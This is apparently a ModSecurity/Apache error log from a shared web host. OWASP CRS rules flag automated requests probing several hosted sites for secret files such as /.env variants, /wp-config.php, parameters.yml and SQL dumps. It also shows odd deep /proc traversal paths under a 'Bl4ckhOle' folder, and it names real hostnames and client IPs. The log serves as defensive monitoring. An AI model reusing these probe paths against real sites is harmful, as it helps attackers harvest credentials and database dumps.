[Fri Jul 17 08:27:27.694826 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.239.116.124:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.staging"] [unique_id "almaF3jA8yK8B7kryx3hgAAAAAk"]
[Fri Jul 17 08:27:27.695116 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.staging"] [unique_id "almaF3jA8yK8B7kryx3hgAAAAAk"]
[Fri Jul 17 08:27:27.695692 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.staging"] [unique_id "almaF3jA8yK8B7kryx3hgAAAAAk"]
[Fri Jul 17 08:27:27.929237 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:37356] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:27.938743 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.239.116.124:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/.env.backup"] [unique_id "almaF4ha5y5fYnQ1qRrvmgAAAAE"]
[Fri Jul 17 08:27:27.939001 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.239.116.124:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.backup"] [unique_id "almaF4ha5y5fYnQ1qRrvmgAAAAE"]
[Fri Jul 17 08:27:27.939314 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.backup"] [unique_id "almaF4ha5y5fYnQ1qRrvmgAAAAE"]
[Fri Jul 17 08:27:27.939828 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.backup"] [unique_id "almaF4ha5y5fYnQ1qRrvmgAAAAE"]
[Fri Jul 17 08:27:28.042544 2026] [security2:error] [pid 1993671:tid 1993671] [client 3.239.116.124:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.local"] [unique_id "almaGA5GPQ6hs4VrfMo9yQAAAAY"]
[Fri Jul 17 08:27:28.042956 2026] [security2:error] [pid 1993671:tid 1993671] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.local"] [unique_id "almaGA5GPQ6hs4VrfMo9yQAAAAY"]
[Fri Jul 17 08:27:28.043589 2026] [security2:error] [pid 1993671:tid 1993671] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.local"] [unique_id "almaGA5GPQ6hs4VrfMo9yQAAAAY"]
[Fri Jul 17 08:27:28.052179 2026] [security2:error] [pid 2013828:tid 2013828] [client 44.200.134.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/tfab/public/index.php"] [unique_id "almaF-N_HRgVfO4akvmJiwAAABg"]
[Fri Jul 17 08:27:28.218859 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 57.141.18.69:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory129/subsystem/devices/memory129/subsystem/devices/memory12/node0/cpu1/subsystem/uevent
[Fri Jul 17 08:27:28.318372 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.239.116.124:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env"] [unique_id "almaGHRlmrtCoY_COpciZgAAAAg"]
[Fri Jul 17 08:27:28.318699 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env"] [unique_id "almaGHRlmrtCoY_COpciZgAAAAg"]
[Fri Jul 17 08:27:28.319306 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env"] [unique_id "almaGHRlmrtCoY_COpciZgAAAAg"]
[Fri Jul 17 08:27:28.542158 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.239.116.124:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaGFh1WDijTxd1xw5IvgAAAAc"]
[Fri Jul 17 08:27:28.542628 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaGFh1WDijTxd1xw5IvgAAAAc"]
[Fri Jul 17 08:27:28.551085 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 3.239.116.124:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:27:28.554743 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaGFh1WDijTxd1xw5IvgAAAAc"]
[Fri Jul 17 08:27:28.612686 2026] [security2:error] [pid 2013828:tid 2013828] [client 3.239.116.124:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/dump.sql"] [unique_id "almaGON_HRgVfO4akvmJjAAAABg"]
[Fri Jul 17 08:27:28.613041 2026] [security2:error] [pid 2013828:tid 2013828] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/dump.sql"] [unique_id "almaGON_HRgVfO4akvmJjAAAABg"]
[Fri Jul 17 08:27:28.613410 2026] [security2:error] [pid 2013828:tid 2013828] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/dump.sql"] [unique_id "almaGON_HRgVfO4akvmJjAAAABg"]
[Fri Jul 17 08:27:31.059517 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:37594] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:34.317941 2026] [security2:error] [pid 2005917:tid 2005917] [client 98.89.33.80:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "127.0.0.1"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "127.0.0.1"] [uri "/cgi-sys/autoconfig.cgi"] [unique_id "almaHnf2WrySr2miwA73bwAAABY"]
[Fri Jul 17 08:27:34.342575 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:34.906226 2026] [security2:error] [pid 1993659:tid 1993659] [client 57.141.18.81:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory84/subsystem/devices/memory75/subsystem/devices/memory133/node0/memory21/node0/memory125/"] [unique_id "almaHpOFLENLI63GGOEKFgAAAAQ"]
[Fri Jul 17 08:27:34.906285 2026] [security2:error] [pid 1993659:tid 1993659] [client 57.141.18.81:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory84/subsystem/devices/memory75/subsystem/devices/memory133/node0/memory21/node0/memory125/"] [unique_id "almaHpOFLENLI63GGOEKFgAAAAQ"]
[Fri Jul 17 08:27:36.425416 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.233.239.159:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraas.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaIHt8zp89pALg8Q5k8QAAAA4"]
[Fri Jul 17 08:27:36.425858 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaIHt8zp89pALg8Q5k8QAAAA4"]
[Fri Jul 17 08:27:36.426252 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaIHt8zp89pALg8Q5k8QAAAA4"]
[Fri Jul 17 08:27:36.532053 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.233.239.159:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraas.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaIIl9vhFBGA6D8l92QQAAAAw"]
[Fri Jul 17 08:27:36.532431 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaIIl9vhFBGA6D8l92QQAAAAw"]
[Fri Jul 17 08:27:36.532700 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaIIl9vhFBGA6D8l92QQAAAAw"]
[Fri Jul 17 08:27:36.927250 2026] [security2:error] [pid 1993998:tid 1993998] [client 3.233.239.159:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraas.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaIGidQp3SsqeycPEspAAAAAo"]
[Fri Jul 17 08:27:36.927491 2026] [security2:error] [pid 1993998:tid 1993998] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaIGidQp3SsqeycPEspAAAAAo"]
[Fri Jul 17 08:27:36.927721 2026] [security2:error] [pid 1993998:tid 1993998] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaIGidQp3SsqeycPEspAAAAAo"]
[Fri Jul 17 08:27:36.948661 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.233.239.159:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraas.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaIJOFLENLI63GGOEKGAAAAAQ"]
[Fri Jul 17 08:27:36.949055 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaIJOFLENLI63GGOEKGAAAAAQ"]
[Fri Jul 17 08:27:36.949307 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaIJOFLENLI63GGOEKGAAAAAQ"]
[Fri Jul 17 08:27:37.159384 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.233.239.159:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraas.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaIY1dLClkUfK_dfHhXgAAAAI"]
